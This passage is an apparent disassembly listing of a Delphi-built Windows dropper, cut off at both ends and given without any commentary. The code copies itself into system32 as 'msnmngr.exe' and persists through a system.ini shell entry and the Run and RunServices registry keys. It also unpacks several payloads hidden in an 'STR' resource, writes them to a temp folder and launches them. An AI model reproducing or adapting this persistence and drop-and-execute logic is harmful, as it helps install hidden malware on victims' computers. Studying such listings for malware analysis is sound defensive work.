--------------------------------------------------------------------------- loc_40019294: ; DATA XREF: .text:400183A4o sub ds:dword_4001F300, 1 retn ; --------------------------------------------------------------------------- byte_4001929C db 83h, 2Dh ; DATA XREF: .text:400183B4o dd offset dword_4001F308 dw 0F01h db 83h, 0EDh, 0 align 4 dd 0C632E800h db 2 dup(0FFh), 68h dd offset dword_4001F320 db 0E8h dd 0FFFED328h db 68h dd offset dword_4001F338 db 0E8h, 1Eh, 0D3h dd 76AFFFEh, 0FED3E7E8h ; --------------------------------------------------------------------------- jmp ds:dword_4001F310[ebx] ; --------------------------------------------------------------------------- dw 56Ah dd 0FED3DBE8h ; --------------------------------------------------------------------------- jmp ds:dword_4001F314[ebx] ; --------------------------------------------------------------------------- dw 0D6Ah dd 0FED3CFE8h ; --------------------------------------------------------------------------- jmp ds:dword_4001F318[ebx] ; --------------------------------------------------------------------------- dw 68h dd 6A00007Fh, 0D43EE800h db 0FEh, 0FFh, 0A3h dd offset dword_4001F31C db 0E8h dd 0FFFFC660h, 30B966h db 0B2h, 1, 0A1h dd offset off_400147BC db 0E8h dd 0FFFFB584h db 0A3h dd offset dword_4001F350 db 66h, 0B9h, 10h dd 0A101B200h dd offset off_400147BC dd 0FFB56FE8h ; --------------------------------------------------------------------------- jmp ds:dword_4001F354[ebx] ; --------------------------------------------------------------------------- dw 0B966h dd 1B20010h db 0A1h dd offset off_40014824 db 0E8h, 5Ah, 0B5h db 2 dup(0FFh), 0A3h dd offset dword_4001F358 db 0B2h db 1, 0A1h dd offset off_40015ADC dw 0F1E8h ; --------------------------------------------------------------------------- mov edi, 0F360A3FFh add [eax-4Eh], eax add ds:off_400130A4[ecx], esp call sub_4001394C mov dword_4001AD44, eax mov dl, 1 mov eax, ds:off_400130A4 call sub_4001394C mov ds:dword_4001F35C, eax mov ecx, offset sub_40014D6C mov edx, offset sub_40014D7C mov eax, ds:off_40014788 call sub_400135EC mov ecx, offset loc_40014F40 mov edx, offset loc_40014F50 mov eax, ds:off_400147A0 call sub_400135EC retn ; --------------------------------------------------------------------------- align 4 loc_40019398: ; DATA XREF: .text:400183CCo sub ds:dword_4001F364, 1 jnb short locret_400193EC call sub_4001607C mov eax, offset sub_400166E8 mov edx, off_4001B02C mov [edx], eax mov eax, off_4001AEF8 mov dword ptr [eax], offset sub_40016958 mov eax, offset sub_40016180 mov edx, off_4001B054 mov [edx], eax mov eax, off_4001AED4 cmp byte ptr [eax], 0 jnz short locret_400193EC mov eax, off_4001AFB8 mov eax, [eax] mov ds:dword_4001F370, eax mov eax, off_4001AFB8 mov dword ptr [eax], offset sub_40016A34 locret_400193EC: ; CODE XREF: .itext:4001939Fj ; .itext:400193D3j retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov ecx, 8 loc_400193F8: ; CODE XREF: .itext:400193FDj push 0 push 0 dec ecx jnz short loc_400193F8 push ecx push ebx push esi push edi mov eax, offset dword_4001830C call sub_40006474 xor eax, eax push ebp push offset loc_40019AD3 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp-18h] call sub_40017F10 push 0FFh push offset aCWindowsSystem ; "C:\\WINDOWS\\system32" call sub_400065B8 ; GetSystemDirectoryA mov eax, offset dword_40023E44 mov edx, offset aCWindowsSystem ; "C:\\WINDOWS\\system32" mov ecx, 1C8h call sub_40004AF4 mov eax, offset dword_40023E44 mov edx, offset dword_40019AEC call sub_40004B50 push 0 mov eax, ds:dword_40023C78 call sub_40004D48 push eax lea edx, [ebp-1Ch] xor eax, eax call sub_40002FF8 mov eax, [ebp-1Ch] call sub_40004D48 push eax call sub_40006500 ; CopyFileA push offset dword_40019AFC push offset aExplorer_exeMs ; "Explorer.exe msnmngr.exe" push offset aShell ; "shell" push offset aBoot ; "boot" call sub_40006668 ; WritePrivateProfileStringA push 100h push offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32" call sub_400065B8 ; GetSystemDirectoryA mov dl, 1 mov eax, ds:off_4001404C call sub_4001414C mov ebx, eax mov edx, 80000002h mov eax, ebx call sub_400141EC mov cl, 1 mov edx, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... mov eax, ebx call sub_40014250 test al, al jz short loc_400194FC lea eax, [ebp-20h] mov edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32" mov ecx, 100h call sub_40004AF4 lea eax, [ebp-20h] mov edx, offset dword_40019B74 call sub_40004B50 mov ecx, [ebp-20h] mov edx, offset aMsnmgnr ; "msnmgnr" mov eax, ebx call sub_400145A4 loc_400194FC: ; CODE XREF: .itext:400194CCj mov eax, ebx call sub_400141BC mov dl, 1 mov eax, ds:off_4001404C call sub_4001414C mov ebx, eax mov edx, 80000002h mov eax, ebx call sub_400141EC mov cl, 1 mov edx, offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"... mov eax, ebx call sub_40014250 test al, al jz short loc_4001955D lea eax, [ebp-24h] mov edx, offset aCWindowsSyst_0 ; "C:\\WINDOWS\\system32" mov ecx, 100h call sub_40004AF4 lea eax, [ebp-24h] mov edx, offset dword_40019B74 call sub_40004B50 mov ecx, [ebp-24h] mov edx, offset aMsnmgnr ; "msnmgnr" mov eax, ebx call sub_400145A4 loc_4001955D: ; CODE XREF: .itext:4001952Dj mov eax, ebx call sub_400141BC call sub_400171BC call sub_400173FC mov eax, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" xor ecx, ecx mov edx, 104h call sub_40003580 push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call ds:dword_4001F3AC ; GetModuleFileNameA mov edx, offset aStr ; "STR" mov eax, offset dword_4001F960 call sub_40016F88 test eax, eax jz loc_40019AB8 mov edx, offset dword_4001F964 mov ecx, ds:dword_4001F960 call sub_40002DFC mov eax, ds:dword_40023B1C mov edx, eax mov eax, offset dword_4001F94C call sub_40004F74 mov eax, offset dword_4001F94C call sub_40004DA0 mov edx, eax mov eax, offset dword_4001F964 mov ecx, ds:dword_40023B1C call sub_40002DFC push ds:dword_40023B50 push ds:dword_40023B4C push ds:dword_40023B58 push ds:dword_40023B54 lea edx, [ebp-28h] mov eax, ds:dword_40023B1C call sub_40016CE8 mov edx, [ebp-28h] mov ecx, offset dword_4001F94C mov eax, ds:dword_4001F94C call sub_40006A2C mov eax, offset dword_40023B64 xor ecx, ecx mov edx, 4 call sub_40003580 xor eax, eax mov ds:dword_40023B64, eax mov esi, offset byte_4001F9A5 mov edi, offset dword_40023B24 mov dword ptr [ebp-14h], offset byte_4001FA13 mov ebx, offset off_4001F6E4 loc_4001964B: ; CODE XREF: .itext:40019AB2j mov eax, offset dword_4001F958 xor ecx, ecx mov edx, 4 call sub_40003580 cmp byte ptr [esi], 0 jz loc_40019A95 mov eax, [edi] mov edx, eax mov eax, offset dword_4001F950 call sub_40004F74 mov eax, offset dword_4001F950 call sub_40004DA0 mov edx, eax mov ecx, [edi] mov eax, esi call sub_40002DFC push ds:dword_40023B50 push ds:dword_40023B4C push ds:dword_40023B58 push ds:dword_40023B54 mov ecx, offset dword_4001F950 mov edx, ds:dword_4001F94C mov eax, ds:dword_4001F950 call sub_40006A2C mov eax, offset dword_4001F954 mov edx, [ebp-14h] mov ecx, 81h call sub_40004AF4 push ds:dword_40023B50 push ds:dword_40023B4C push ds:dword_40023B58 push ds:dword_40023B54 mov ecx, offset dword_4001F954 mov edx, ds:dword_4001F94C mov eax, ds:dword_4001F954 call sub_40006A2C xor eax, eax mov ds:dword_4001F95C, eax mov eax, ds:dword_4001F950 call sub_40004D48 mov edx, eax mov eax, offset dword_4001F95C call sub_40016F88 mov [ebx], eax mov eax, offset dword_4001F958 mov edx, ds:dword_4001F95C call sub_40004F74 cmp dword ptr [ebx], 0 jz loc_40019AB8 mov eax, ds:dword_4001F958 mov ds:dword_40023E48, eax cmp ds:dword_40023E48, 0 jz short loc_4001974E mov eax, ds:dword_40023E48 sub eax, 4 mov eax, [eax] mov ds:dword_40023E48, eax loc_4001974E: ; CODE XREF: .itext:4001973Dj mov eax, offset dword_4001F958 call sub_40004DA0 mov edx, eax mov eax, [ebx] mov ecx, ds:dword_40023E48 call sub_40002DFC push ds:dword_40023B50 push ds:dword_40023B4C push ds:dword_40023B58 push ds:dword_40023B54 mov ecx, offset dword_4001F958 mov edx, ds:dword_4001F94C mov eax, ds:dword_4001F958 call sub_40006A2C lea edx, [ebp-2Ch] mov eax, ds:dword_4001F958 call sub_40016D80 mov edx, [ebp-2Ch] mov eax, offset dword_4001F958 call sub_400048D8 cmp ds:byte_40023B5D, 0 jz short loc_400197E0 mov eax, ds:dword_4001F958 push eax lea eax, [ebp-34h] push eax call sub_40016B44 mov eax, [ebp-34h] push eax lea eax, [ebp-30h] push eax call sub_40016C04 mov edx, [ebp-30h] mov eax, offset dword_4001F958 call sub_400048D8 loc_400197E0: ; CODE XREF: .itext:400197B5j cmp ds:byte_40023B5C, 0 jz short loc_4001985D mov eax, ds:dword_4001F958 test eax, eax jz short loc_400197F7 sub eax, 4 mov eax, [eax] loc_400197F7: ; CODE XREF: .itext:400197F0j call sub_40002C20 mov ds:dword_4001F5C8, eax mov eax, ds:dword_4001F958 mov ds:dword_40023E4C, eax cmp ds:dword_40023E4C, 0 jz short loc_40019823 mov eax, ds:dword_40023E4C sub eax, 4 mov eax, [eax] mov ds:dword_40023E4C, eax loc_40019823: ; CODE XREF: .itext:40019812j mov eax, offset dword_4001F958 call sub_40004DA0 mov edx, ds:dword_4001F5C8 mov ecx, ds:dword_40023E4C call sub_40002DFC mov edx, ds:dword_4001F954 mov eax, ds:dword_4001F5C8 call sub_40017A1C mov eax, ds:dword_4001F5C8 call sub_40002C3C jmp loc_40019A95 ; --------------------------------------------------------------------------- loc_4001985D: ; CODE XREF: .itext:400197E7j push offset dword_4001F5CC lea eax, [ebp-38h] mov edx, offset word_4001F9D2 mov ecx, 41h call sub_40004AF4 mov eax, [ebp-38h] push eax mov eax, ds:dword_40023B14 mov ecx, eax mov edx, 1 pop eax call sub_40004DA8 push ds:dword_40023B50 push ds:dword_40023B4C push ds:dword_40023B58 push ds:dword_40023B54 mov ecx, offset dword_4001F5CC mov edx, ds:dword_4001F94C mov eax, ds:dword_4001F5CC call sub_40006A2C mov ds:dword_4001F5D0, 104h mov eax, ds:dword_4001F5D0 push eax push offset dword_4001F5D4 mov eax, ds:dword_4001F5CC call sub_40004D48 push eax call sub_40006578 ; GetEnvironmentVariableA mov ds:dword_4001F5D0, eax cmp ds:dword_4001F5D0, 0 jle short loc_4001994D mov eax, offset dword_4001F5CC mov edx, ds:dword_4001F5D0 call sub_40004F74 mov eax, offset dword_4001F5CC call sub_40004DA0 mov edx, eax mov eax, offset dword_4001F5D4 mov ecx, ds:dword_4001F5D0 call sub_40002DFC push ds:dword_4001F5CC push offset dword_40019BE0 mov eax, 64h call sub_40003080 lea edx, [ebp-3Ch] call sub_40016CE8 push dword ptr [ebp-3Ch] push offset dword_40019BEC mov eax, offset dword_4001F5CC mov edx, 4 call sub_40004C08 jmp short loc_400199A6 ; --------------------------------------------------------------------------- loc_4001994D: ; CODE XREF: .itext:400198E9j mov eax, ds:dword_4001F5CC test eax, eax jz short loc_4001995B sub eax, 4 mov eax, [eax] loc_4001995B: ; CODE XREF: .itext:40019954j mov edx, ds:dword_4001F5CC cmp byte ptr [edx+eax-1], 5Ch jz short loc_40019977 mov eax, offset dword_4001F5CC mov edx, offset dword_40019BE0 call sub_40004B50 loc_40019977: ; CODE XREF: .itext:40019966j push ds:dword_4001F5CC mov eax, 64h call sub_40003080 lea edx, [ebp-40h] call sub_40016CE8 push dword ptr [ebp-40h] push offset dword_40019BEC mov eax, offset dword_4001F5CC mov edx, 3 call sub_40004C08 loc_400199A6: ; CODE XREF: .itext:4001994Bj xor eax, eax mov ds:dword_4001F6E0, eax lea eax, [ebp-44h] mov edx, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov ecx, 105h call sub_40004AF4 mov eax, [ebp-44h] mov ecx, offset dword_4001F6E0 mov edx, offset dword_4001F6DC call sub_40017D84 mov edx, ds:dword_4001F5CC mov eax, offset dword_4001F6F8 call sub_40003328 mov edx, 1 mov eax, offset dword_4001F6F8 call sub_40003724 call sub_40002D5C mov eax, ds:dword_4001F958 mov ds:dword_40023E50, eax cmp ds:dword_40023E50, 0 jz short loc_40019A17 mov eax, ds:dword_40023E50 sub eax, 4 mov eax, [eax] mov ds:dword_40023E50, eax loc_40019A17: ; CODE XREF: .itext:40019A06j push 0 mov eax, offset dword_4001F958 call sub_40004DA0 mov edx, eax mov ecx, ds:dword_40023E50 mov eax, offset dword_4001F6F8 call sub_4000347C call sub_40002D5C cmp ds:dword_4001F6E0, 0 jbe short loc_40019A60 push 0 mov edx, ds:dword_4001F6DC mov ecx, ds:dword_4001F6E0 mov eax, offset dword_4001F6F8 call sub_4000347C call sub_40002D5C loc_40019A60: ; CODE XREF: .itext:40019A41j mov eax, offset dword_4001F6F8 call sub_4000349C call sub_40002D5C push 1 push 0 mov eax, ds:dword_4001F954 call sub_40004D48 push eax mov eax, ds:dword_4001F5CC call sub_40004D48 push eax push offset aOpen ; "open" push 0 call sub_40016CE0 ; ShellExecuteA loc_40019A95: ; CODE XREF: .itext:4001965Fj ; .itext:40019858j inc ds:dword_40023B64 add ebx, 4 add dword ptr [ebp-14h], 81h add edi, 8 add esi, 5 cmp ds:dword_40023B64, 5 jnz loc_4001964B loc_40019AB8: ; CODE XREF: .itext:400195A2j ; .itext:40019726j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_40019ADA loc_40019AC5: ; CODE XREF: .itext:40019AD8j lea eax, [ebp-44h] mov edx, 0Ch call sub_400048A8 retn ; --------------------------------------------------------------------------- loc_40019AD3: ; DATA XREF: .itext:40019410o jmp loc_40004204 ; --------------------------------------------------------------------------- jmp short loc_40019AC5 ; --------------------------------------------------------------------------- loc_40019ADA: ; CODE XREF: .itext:40019AD2j ; DATA XREF: .itext:40019AC0o pop edi pop esi pop ebx call sub_40004790 ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Ch dword_40019AEC dd 6E736D5Ch, 72676E6Dh, 6578652Eh, 0dword_40019AFC dd 74737973h, 692E6D65h, 696EhaExplorer_exeMs db 'Explorer.exe msnmngr.exe',0 ; DATA XREF: .itext:4001947Fo align 4 aShell db 'shell',0 ; DATA XREF: .itext:40019484o align 4 aBoot db 'boot',0 ; DATA XREF: .itext:40019489o align 4 dd 0FFFFFFFFh, 2Dh aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: .itext:400194BEo align 4 dd 0FFFFFFFFh, 0Ch dword_40019B74 dd 6E736D5Ch, 726E676Dh, 6578652Eh, 0 ; .itext:40019544o dd 0FFFFFFFFh, 7 aMsnmgnr db 'msnmgnr',0 ; DATA XREF: .itext:400194F0o ; .itext:40019551o dd 0FFFFFFFFh, 35h aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 ; DATA XREF: .itext:4001951Fo align 4 aStr db 'STR',0 ; DATA XREF: .itext:40019591o dd 0FFFFFFFFh, 1 dword_40019BE0 dd 5Ch, 0FFFFFFFFh, 4 ; .itext:4001996Do dword_40019BEC dd 6578652Eh, 0 ; .itext:40019992o aOpen db 'open',0 ; DATA XREF: .itext:40019A89o align 4 _itext ends ; Section 3. (virtual address 0001A000) ; Virtual size : 000010D8 ( 4312.) ; Section size in file : 000010D8 ( 4312.) ; Offset to raw data for section: 0001A000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 4001A000h dword_4001A000 dd 0 ; sub_400046D4+2w ... dword_4001A004 dd 0 ; sub_40004670+36r ... dword_4001A008 dd 66B9069Bh ; sub_40003058+1Dw ... byte_4001A00C db 2 ; DATA XREF: sub_40003644+4Er ; .itext:40019012w db 8Dh, 40h, 0 off_4001A010 dd offset sub_4000E3EC ; DATA XREF: sub_400052FCr ; sub_400052FC+9r ... off_4001A014 dd offset sub_400127B8 ; DATA XREF: .data:off_4001AEE4o off_4001A018 dd offset sub_4000E700 ; DATA XREF: sub_4000540Cr ; sub_4000540C+9r ... off_4001A01C dd offset sub_400116DC ; DATA XREF: .data:off_4001B0B4o off_4001A020 dd offset sub_40011DFC ; DATA XREF: .data:off_4001B024o word_4001A024 dw 1332h ; DATA XREF: sub_40003B94+6r ; sub_40003B94:loc_40003C0Cr ... dw 0C08Bh byte_4001A028 db 0 ; DATA XREF: sub_40003FE8r ; sub_40004004r ... db 8Dh, 40h, 0 byte_4001A02C db 0 ; DATA XREF: sub_400040D8+52r ; sub_400040D8:loc_40004165r db 8Dh, 40h, 0 byte_4001A030 db 0 ; DATA XREF: sub_40004704:loc_40004765r db 8Dh, 40h, 0 byte_4001A034 db 1 ; DATA XREF: sub_40003328+23r db 8Dh, 40h, 0 off_4001A038 dd offset dword_4001A7B4 ; DATA XREF: sub_40005C08+5r ; sub_40006184r ... dword_4001A03C dd 0A24E60h ; sub_400060A4+18w ... off_4001A040 dd offset aFastmmBorlandE ; DATA XREF: sub_40006350+3Co ; "FastMM Borland Edition © 2004, 2005 Pie"... byte_4001A044 db 0, 0FFh ; DATA XREF: sub_40001734+21o ; sub_400023F4+11o ... word_4001A046 dw 10h ; DATA XREF: sub_40002540+17Bo ; sub_400029B8+6o dd 0A24CE0h, 0A24EE0h, 0A2C000h, 2 dup(0A24CE0h), 73300B30h off_4001A060 dd offset sub_4000134C ; DATA XREF: sub_400029FC+8o dd 18FF00h, 0A2C010h, 0A2C408h, 0A33328h, 2 dup(0A2C010h) dd 73300B30h dd offset sub_40001360 dd 20FF00h, 0A3A670h, 0A3AAB0h, 0A41980h, 2 dup(0A3A670h) dd 73300B30h dd offset sub_40001380 dd 28FF00h, 0A419A0h, 0A41D58h, 0A48CA8h, 2 dup(0A419A0h) dd 73300B30h dd offset sub_400013AC dd 30FF00h, 0A48CD0h, 0A48E10h, 0A4FFD0h, 2 dup(0A48CD0h) dd 73300B30h dd offset sub_400013CC dd 38FF00h, 4001A0E4h, 0A33408h, 0A3A638h, 0A33340h, 4001A0E4h dd 73300B30h dd offset sub_400013F0 dd 40FF00h, 4001A104h, 9920F0h, 0 dd 992090h, 4001A104h, 73300B30h dd offset sub_4000141C dd 48FF00h, 4001A124h, 0A1DAA8h, 0A24C98h, 0A1D9B0h, 4001A124h dd 73300B30h dd offset sub_4000144C dd 50FF00h, 0A16680h, 0A16740h, 0A1D960h, 2 dup(0A16680h) dd 73300B30h, 40001484h, 58FF00h, 4001A164h, 9E2690h, 0 dword_4001A174 dd 9E0AF0h, 4001A164h, 73300B30h, 40001484h, 60FF00h, 4001A184h dd 0A0F490h, 0A16620h, 0A0F350h, 4001A184h, 73300B30h dd 40001484h, 68FF00h, 4001A1A4h, 1, 2 dup(0) dd offset dword_4001A174+30h dword_4001A1BC dd 73300B30h, 40001484h, 70FF00h, 4001A1C4h, 1, 2 dup(0) ; DATA XREF: .data:4001A1D8o dd offset dword_4001A1BC+8 dword_4001A1DC dd 73300B30h, 40001484h, 78FF00h, 4001A1E4h, 1, 2 dup(0) ; DATA XREF: .data:4001A1F8o dd offset dword_4001A1DC+8 dword_4001A1FC dd 73300B30h, 40001484h, 80FF00h, 4001A204h, 1, 2 dup(0) ; DATA XREF: .data:4001A218o dd offset dword_4001A1FC+8 dword_4001A21C dd 73300B30h, 40001484h, 88FF00h, 4001A224h, 1, 2 dup(0) ; DATA XREF: .data:4001A238o dd offset dword_4001A21C+8 dword_4001A23C dd 73300B30h, 40001484h, 90FF00h, 4001A244h, 1, 2 dup(0) ; DATA XREF: .data:4001A258o dd offset dword_4001A23C+8 dword_4001A25C dd 73300B30h, 40001484h, 98FF00h, 4001A264h, 1, 2 dup(0) ; DATA XREF: .data:4001A278o dd offset dword_4001A25C+8 dd 73300B30h, 40001484h, 0A0FF00h, 4001A284h, 999480h dd 0 dword_4001A294 dd 9993C0h, 4001A284h, 73300B30h, 40001484h, 0B0FF00h dd 4001A2A4h, 1, 2 dup(0) dd offset dword_4001A294+10h dword_4001A2BC dd 73300B30h, 40001484h, 0C0FF00h, 4001A2C4h, 1, 2 dup(0) ; DATA XREF: .data:4001A2D8o dd offset dword_4001A2BC+8 dword_4001A2DC dd 73300B30h, 40001484h, 0D0FF00h, 4001A2E4h, 1, 2 dup(0) ; DATA XREF: .data:4001A2F8o dd offset dword_4001A2DC+8 dword_4001A2FC dd 73300B30h, 40001484h, 0E0FF00h, 4001A304h, 1, 2 dup(0) ; DATA XREF: .data:4001A318o dd offset dword_4001A2FC+8 dword_4001A31C dd 73300B30h, 40001484h, 0F0FF00h, 4001A324h, 1, 2 dup(0) ; DATA XREF: .data:4001A338o dd offset dword_4001A31C+8 dword_4001A33C dd 73300B30h, 40001484h, 100FF00h, 4001A344h, 1, 2 dup(0) ; DATA XREF: .data:4001A358o dd offset dword_4001A33C+8 dword_4001A35C dd 73300B30h, 40001484h, 110FF00h, 4001A364h, 1, 2 dup(0) ; DATA XREF: .data:4001A378o dd offset dword_4001A35C+8 dword_4001A37C dd 73300B30h, 40001484h, 120FF00h, 4001A384h, 1, 2 dup(0) ; DATA XREF: .data:4001A398o dd offset dword_4001A37C+8 dword_4001A39C dd 73300B30h, 40001484h, 130FF00h, 4001A3A4h, 1, 2 dup(0) ; DATA XREF: .data:4001A3B8o dd offset dword_4001A39C+8 dword_4001A3BC dd 72300B30h, 40001484h, 140FF00h, 4001A3C4h, 1, 2 dup(0) ; DATA XREF: .data:4001A3D8o dd offset dword_4001A3BC+8 dd 73300B30h, 40001484h, 160FF00h, 4001A3E4h, 992210h dd 0 dd 992090h, 4001A3E4h, 73300B30h, 40001484h, 180FF00h dd 4001A404h, 997160h, 0 dword_4001A414 dd 996FC0h, 4001A404h, 72300B30h, 40001484h, 1A0FF00h dd 4001A424h, 1, 2 dup(0) dd offset dword_4001A414+10h dword_4001A43C dd 72300B30h, 40001484h, 1C0FF00h, 4001A444h, 1, 2 dup(0) ; DATA XREF: .data:4001A458o dd offset dword_4001A43C+8 dword_4001A45C dd 72300B30h, 40001484h, 1E0FF00h, 4001A464h, 1, 2 dup(0) ; DATA XREF: .data:4001A478o dd offset dword_4001A45C+8 dword_4001A47C dd 73300B30h, 40001484h, 210FF00h, 4001A484h, 1, 2 dup(0) ; DATA XREF: .data:4001A498o dd offset dword_4001A47C+8 dword_4001A49C dd 72300B30h, 40001484h, 240FE00h, 4001A4A4h, 1, 2 dup(0) ; DATA XREF: .data:4001A4B8o dd offset dword_4001A49C+8 dword_4001A4BC dd 73302B30h, 40001484h, 270FE00h, 4001A4C4h, 1, 2 dup(0) ; DATA XREF: .data:4001A4D8o dd offset dword_4001A4BC+8 dword_4001A4DC dd 75302B30h, 40001484h, 2A0FE00h, 4001A4E4h, 1, 2 dup(0) ; DATA XREF: .data:4001A4F8o dd offset dword_4001A4DC+8 dd 7E302B30h, 40001484h, 2E0FE00h, 4001A504h, 9996C0h dd 0 dword_4001A514 dd 9993C0h, 4001A504h, 8A302B30h, 40001484h, 320FE00h dd 4001A524h, 1, 2 dup(0) dd offset dword_4001A514+10h dword_4001A53C dd 96302B30h, 40001484h, 370FE00h, 4001A544h, 1, 2 dup(0) ; DATA XREF: .data:4001A558o dd offset dword_4001A53C+8 dword_4001A55C dd 0A5302B30h, 40001484h, 3C0FE00h, 4001A564h, 1, 2 dup(0) ; DATA XREF: .data:4001A578o dd offset dword_4001A55C+8 dword_4001A57C dd 0B4302B30h, 40001484h, 420FE00h, 4001A584h, 1, 2 dup(0) ; DATA XREF: .data:4001A598o dd offset dword_4001A57C+8 dword_4001A59C dd 0C6302B30h, 40001484h, 480FE00h, 4001A5A4h, 1, 2 dup(0) ; DATA XREF: .data:4001A5B8o dd offset dword_4001A59C+8 dword_4001A5BC dd 0D8302B30h, 40001484h, 4F0FC00h, 4001A5C4h, 1, 2 dup(0) ; DATA XREF: .data:4001A5D8o dd offset dword_4001A5BC+8 dword_4001A5DC dd 0ED304B30h, 40001484h, 560FC00h, 4001A5E4h, 1, 2 dup(0) ; DATA XREF: .data:4001A5F8o dd offset dword_4001A5DC+8 dd 0FD304B30h, 40001484h, 5E0FC00h, 4001A604h, 992690h dd 0 dword_4001A614 dd 992090h, 4001A604h, 0FD304B30h, 40001484h, 670FC00h dd 4001A624h, 1, 2 dup(0) dd offset dword_4001A614+10h dword_4001A63C dd 0FB304B30h, 40001484h, 710FC00h, 4001A644h, 1, 2 dup(0) ; DATA XREF: .data:4001A658o dd offset dword_4001A63C+8 dword_4001A65C dd 0FF304B30h, 40001484h, 7C0F800h, 4001A664h, 1, 2 dup(0) ; DATA XREF: .data:4001A678o dd offset dword_4001A65C+8 dword_4001A67C dd 0F8306B30h, 40001484h, 880F800h, 4001A684h, 1, 2 dup(0) ; DATA XREF: .data:4001A698o dd offset dword_4001A67C+8 dword_4001A69C dd 0FF306B30h, 40001484h, 950F800h, 4001A6A4h, 1, 2 dup(0) ; DATA XREF: .data:4001A6B8o dd offset dword_4001A69C+8 dword_4001A6BC dd 0FC306B30h, 40001484h, 0A30F000h, 4001A6C4h, 1, 2 dup(0) ; DATA XREF: .data:4001A6D8o dd offset dword_4001A6BC+8 dword_4001A6DC dd 0FF308B30h, 40001484h, 0A30F000h, 4001A6E4h, 1, 2 dup(0) ; DATA XREF: .data:4001A6F8o dd offset dword_4001A6DC+8 dword_4001A6FC dd 0FF308B30h, 40001484h, 0A30F000h, 4001A704h, 1, 2 dup(0) ; DATA XREF: .data:4001A718o dd offset dword_4001A6FC+8 dd 0FF308B30h, 40001484h off_4001A724 dd offset sub_40001734 ; DATA XREF: sub_40002C20+4r ; sub_40002C54+3Fr off_4001A728 dd offset sub_40001A9C ; DATA XREF: sub_40002C3C+4r ; sub_40002C54+26r ... off_4001A72C dd offset sub_40001C7C ; DATA XREF: sub_40002C54+Dr off_4001A730 dd offset sub_40002004 ; DATA XREF: .text:40002C0Cr dd offset sub_4000235C dd offset sub_4000239C byte_4001A73C db 0 ; DATA XREF: sub_40002D04+35r aRsu db 'ËÌÈÉ×ÏÈÍÎÛØÚÙÊÜÝÞßàáã',0 aFxn@ db 'äå@',0 dword_4001A758 dd 3 align 10h dd 1, 2, 3, 3 dup(0) aError db 'Error',0 ; DATA XREF: sub_40004704+6Co dw 0C08Bh aRuntimeErrorAt db 'Runtime error at 00000000',0 ; DATA XREF: sub_40004670+3o ; sub_40004704+32o ... dw 0C08Bh byte_4001A7A0 db 30h ; DATA XREF: sub_40004670+41r db 31h, 32h, 33h dd 37363534h, 42413938h, 46454443h TlsIndex dd 0 ; DATA XREF: sub_400063E4+Cr ; sub_400063E4+37r ... dword_4001A7B4 dd 0 ; sub_40006474+33o ... dword_4001A7B8 dd 40000000h dword_4001A7BC dd 0 dword_4001A7C0 dd 0 dd 40000000h, 0 dword_4001A7CC dd 4 dup(0) ; .data:off_4001AFA8o dword_4001A7DC dd 0 dword_4001A7E0 dd 0 dword_4001A7E4 dd 2 ; sub_4000B830+32r ... dword_4001A7E8 dd 5 ; sub_4000BDA0+5Br dword_4001A7EC dd 1 dword_4001A7F0 dd 0A28h ; sub_4000B830+4Fw dword_4001A7F4 dd 0A3A838h ; sub_4000CC50+4Fo word_4001A7F8 dw 32h ; DATA XREF: sub_4000A1CC+1ADr ; sub_4000A1CC+1C9r dw 0C08Bh dword_4001A7FC dd 1C001Fh, 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh), 1D001Fh ; DATA XREF: sub_40009050+24o ; sub_4000911C+FCo dd 2 dup(1E001Fh), 1F001Fh, 2 dup(1F001Eh) dword_4001A82C dd 0 ; sub_400096A8+33Br ... dd 7 dup(0) off_4001A84C dd offset dword_40007828 ; DATA XREF: sub_4000CC50+128o ; sub_400190AC+37o ... dword_4001A850 dd 7C83039Bh ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_4000C4D8:loc_4000C4F9r ... off_4001A854 dd offset dword_40007FCC ; DATA XREF: sub_40007FDC+3Br ; sub_4000CC50+132o dd offset dword_40007FCC+0Ch off_4001A85C dd offset off_40006BD8 ; DATA XREF: sub_4000828C+43r ; .text:4000CC44o off_4001A860 dd offset off_40006BE0 ; DATA XREF: .text:4000CC38o tbyte_4001A864 dt 1.0e18 ; DATA XREF: sub_40008B01+63r dw 0C08Bh flt_4001A870 db 0Ah, 0, 0, 0 ; DATA XREF: sub_400087BC+23r ; sub_40008B01+78r ... word_4001A874 dw 133Fh ; DATA XREF: sub_40008D00+25r dw 0C08Bh flt_4001A878 dd 8.64e7 ; DATA XREF: sub_40008F04+Br dword_4001A87C dd 5265C00h ; sub_40008F04:loc_40008F33r dword_4001A880 dd 642A2E25h off_4001A884 dd offset off_40006CB0 ; DATA XREF: sub_4000A91C+3Ao ; .text:4000CC2Co off_4001A888 dd offset off_40006CB8 ; DATA XREF: .text:4000CC20o off_4001A88C dd offset off_40006CC0 ; DATA XREF: .text:4000CC14o off_4001A890 dd offset off_40006CC8 ; DATA XREF: .text:4000CC08o off_4001A894 dd offset off_40006CD0 ; DATA XREF: .text:4000CBFCo off_4001A898 dd offset off_40006CD8 ; DATA XREF: .text:4000CBF0o off_4001A89C dd offset off_40006CE0 ; DATA XREF: .text:4000CBE4o off_4001A8A0 dd offset off_40006CE8 ; DATA XREF: .text:4000CBD8o off_4001A8A4 dd offset off_40006CF0 ; DATA XREF: .text:4000CBCCo off_4001A8A8 dd offset off_40006CF8 ; DATA XREF: .text:4000CBC0o off_4001A8AC dd offset off_40006D00 ; DATA XREF: .text:4000CBB4o off_4001A8B0 dd offset 